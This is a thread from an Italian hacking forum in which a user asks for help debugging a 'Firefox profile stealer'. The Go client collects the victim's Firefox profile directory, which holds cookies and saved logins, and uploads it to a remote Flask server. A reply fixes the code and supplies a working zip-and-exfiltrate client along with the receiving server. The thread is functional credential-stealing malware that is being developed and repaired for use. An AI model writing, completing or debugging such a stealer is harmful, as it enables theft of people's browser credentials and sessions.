Domanda Errore nella programmazione di un Firefox profile stealer

monnezzza

Utente Silver
11 Marzo 2021
119
23
53
91
Ciao a tutti,
Ho creato un server in Python che deve ricevere un file zip inviato da un Firefox stealer scritto in Go. Tuttavia, quando provo a inviare il file dallo stealer, il server risponde con un errore 400.
Ho controllato il codice sia del client che del server e non sono in grado di individuare il problema. Qualcuno ha esperienza con go e può aiutarmi a risolvere questo problema?

Ecco il codice:

Client:
Codice:
package main

import (
    "bytes"
    "fmt"
    "io"
    "mime/multipart"
    "net/http"
    "os"
    "path/filepath"
)

func zipFiles(directory string) (*bytes.Buffer, error) {
    var files []string
    err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
        if !info.IsDir() {
            files = append(files, path)
        }
        return nil
    })
    if err != nil {
        return nil, err
    }

    buf := new(bytes.Buffer)
    w := multipart.NewWriter(buf)

    for _, file := range files {
        f, err := os.Open(file)
        if err != nil {
            return nil, err
        }
        defer f.Close()

        part, err := w.CreateFormFile("file", filepath.Base(file))
        if err != nil {
            return nil, err
        }
        if _, err = io.Copy(part, f); err != nil {
            return nil, err
        }
    }

    if err := w.Close(); err != nil {
        return nil, err
    }

    return buf, nil
}

func sendZip(buf *bytes.Buffer) error {
    url := "http://your_server_url/receive" // Replace with the URL of your Python server
    req, err := http.NewRequest("POST", url, buf)
    if err != nil {
        return err
    }
    req.Header.Set("Content-Type", "multipart/form-data")

    client := &http.Client{}
    res, err := client.Do(req)
    if err != nil {
        return err
    }
    defer res.Body.Close()

    if res.StatusCode != http.StatusOK {
        return fmt.Errorf("unexpected status code: %d", res.StatusCode)
    }

    return nil
}


func main() {
    userProfile := os.Getenv("USERPROFILE")
    directory := filepath.Join(userProfile, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles")
    fmt.Println("Directory:", directory)
    buf, err := zipFiles(directory)
    if err != nil {
        fmt.Println(err)
        return
    }
    if err := sendZip(buf); err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println("Successfully sent zip file to server.")
}

Server:

Codice:
from flask import Flask, request

app = Flask(__name__)

@app.route('/receive', methods=['POST'])
def receive_zip():
    file = request.files['file']
    file.save('received.zip')
    return 'Successfully received zip file.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)
 
Sarebbe comodo vedere anche la request che viene inviata al server. Puoi proxare le chiamate tramite burpsuite o qualche altro proxy in modo da vedere se arrivino "intatte" o se si corrompano in qualche punto?
 
Il tuo zipFiles non crea uno zip, ma fa un po' di quello che dovrebbe fare sendZip. Una volta sistemato viene una cosa del genere:
Codice:
package main

import (
    "archive/zip"
    "bytes"
    "fmt"
    "io"
    "mime/multipart"
    "net/http"
    "os"
    "path/filepath"
)

const URL = "http://127.0.0.1:8000/receive" // URL of your Python server
const DIR = "/tmp/pippo"                    // Directory you wanna zip and send
const ZIPFILE = "pippo.zip"                 // Arbitrary name for the zip file

func ZipDir(directory string) (*bytes.Buffer, error) {
    buf := new(bytes.Buffer)
    w := zip.NewWriter(buf)
    defer w.Close()

    err := filepath.Walk(directory, func(path string, info os.FileInfo, err error) error {
        if err != nil {
            return err
        }
        if info.IsDir() {
            return nil
        }

        file, err := os.Open(path)
        if err != nil {
            return err
        }
        defer file.Close()

        to, err := w.Create(path)
        if err != nil {
            return err
        }

        _, err = io.Copy(to, file)
        if err != nil {
            return err
        }

        return nil
    })

    if err != nil {
        return nil, err
    }

    return buf, nil
}

func SendAsMultipartFile(filename string, data []byte) error {
    buf := new(bytes.Buffer)
    w := multipart.NewWriter(buf)
    file, err := w.CreateFormFile("file", filename)
    if err != nil {
        return err
    }
    file.Write(data)
    w.Close()

    req, err := http.NewRequest("POST", URL, buf)
    if err != nil {
        return err
    }
    req.Header.Set("Content-Type", w.FormDataContentType())

    client := &http.Client{}
    res, err := client.Do(req)
    if err != nil {
        return err
    }
    defer res.Body.Close()

    if res.StatusCode != http.StatusOK {
        return fmt.Errorf("unexpected status code: %d", res.StatusCode)
    }

    return nil
}

func main() {
    fmt.Println("Directory:", DIR)
    buf, err := ZipDir(DIR)
    if err != nil {
        fmt.Println(err)
        return
    }
    if err := SendAsMultipartFile(ZIPFILE, buf.Bytes()); err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println("Successfully sent zip file to server.")
}

Sul server non hai bisogno di specificare il nome del file, lo puoi prendere in automatico.
Python:
from flask import Flask, request

app = Flask(__name__)

@app.route('/receive', methods=['POST'])
def receive_zip():
    print("DEBUG: I'm running receive_zip")
    file = request.files['file']
    file.save(file.filename)
    return 'Successfully received zip file.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)